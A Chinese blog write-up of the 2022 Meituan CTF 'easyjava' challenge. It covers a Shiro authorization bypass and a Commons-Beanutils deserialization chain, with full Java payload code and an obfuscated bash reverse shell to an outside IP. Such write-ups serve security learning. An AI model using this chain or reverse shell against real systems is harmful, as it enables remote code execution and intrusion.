WP篇之2022美团CTF --- easyjava

2022美团CTF — easyjava

好久没写博客了,今天看了看美团CTF的题,打出了一道java反序列化,应该算是我在比赛中打出的第一道java反序列化的题吧,挺有纪念意义的哈哈,之前都是复现或者打一些简单的java题,像什么log4j,fastjson啥的,都不算是反序列化吧,那么就来写写这道题的wp

首先拿到jar包,放jd-gui里面打开,一眼就看到反序列化的点了:

1.png

但是很显然,这里是直接访问不到这个路由的,因为这里做了过滤:

2.png

这里我看了看shiro的版本是1.5.2,是存在权限绕过漏洞的,随便去网上找篇文章就行,只不过我这儿犯蠢了,试了一大堆不常见的方法,结果最常见的一种没试,导致浪费了很多时间,要不然说不定可以一血呜呜,文章在这儿:https://xz.aliyun.com/t/7964;就是直接在前面加上分号;就行:

3.png

接下来就来看反序列化了,先看看有哪些依赖:

4.png

一眼就看到了cc和cb,只不过cc版本有点儿新,应该是commons-collections-3里面最新的一个版本了,我本地测了测用cc打不通,可能能有绕过啥的,但比赛时间有限,这儿就没详细琢磨了,直接用cb链打了,先看看题目做出的过滤:

5.png

其实这过滤真挺离谱的,估摸着是出题人写错了,com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl中间搞忘加.了吧哈哈哈,这种过滤写法就相当于没过滤了,直接用cb链加载字节码就好了,关于cb链的介绍移步我的另外一篇文章:http://arsenetang.com/2022/03/09/Java%E7%AF%87%E4%B9%8BCommons%20Beanutils/,这里就不过多解释了

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.beanutils.BeanComparator;

public class payload {
public static byte[] serialize(Object o)throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
return barr.toByteArray();
}
public static void unserialize(byte[] barr) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr));
ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, 1});

System.out.println(Base64.getEncoder().encodeToString(serialize(queue)));
//unserialize(serialize(queue));
}
}

这里需要注意的是,由于题目的commons-beanutils版本是1.9.4,所以说我们本地的cb也需要调到这个版本哈,不然反序列化会报错

我们先用本地来试试,别忘了这个payload生成出来之后得先url编码一遍哈

6.png

本地打通了,说明链子没问题了,接下来就很好办了,把字节码换成远程反弹shell的字节码就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
}

这个是将字节码base64编码的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.Base64;

public class base64 {
public static void main(String[] args)throws Exception{

ByteArrayOutputStream baos = new ByteArrayOutputStream();
InputStream ios = new FileInputStream("E:\\ysoserial-master\\target\\classes\\ysoserial\\test\\evil.class");
int temp = -1;
while((temp = ios.read()) != -1){
baos.write(temp);
}
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));

}
}

那么我们将生成的class文件base64编码之后,放入payload中,替换掉那一段字节码就好了,然后就可以直接打咯:

7.png

收到反弹的shell,直接拿到flag

其实做完之后,发现这道题也不难,就是一个shiro的权限绕过,再加上cb链的基础运用,挺常规的一题,只不过java题嘛,要注意的细节都挺多的,比如说各种依赖的版本,jdk的版本啥的,有的细节忽略了都会导致题打不出来

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信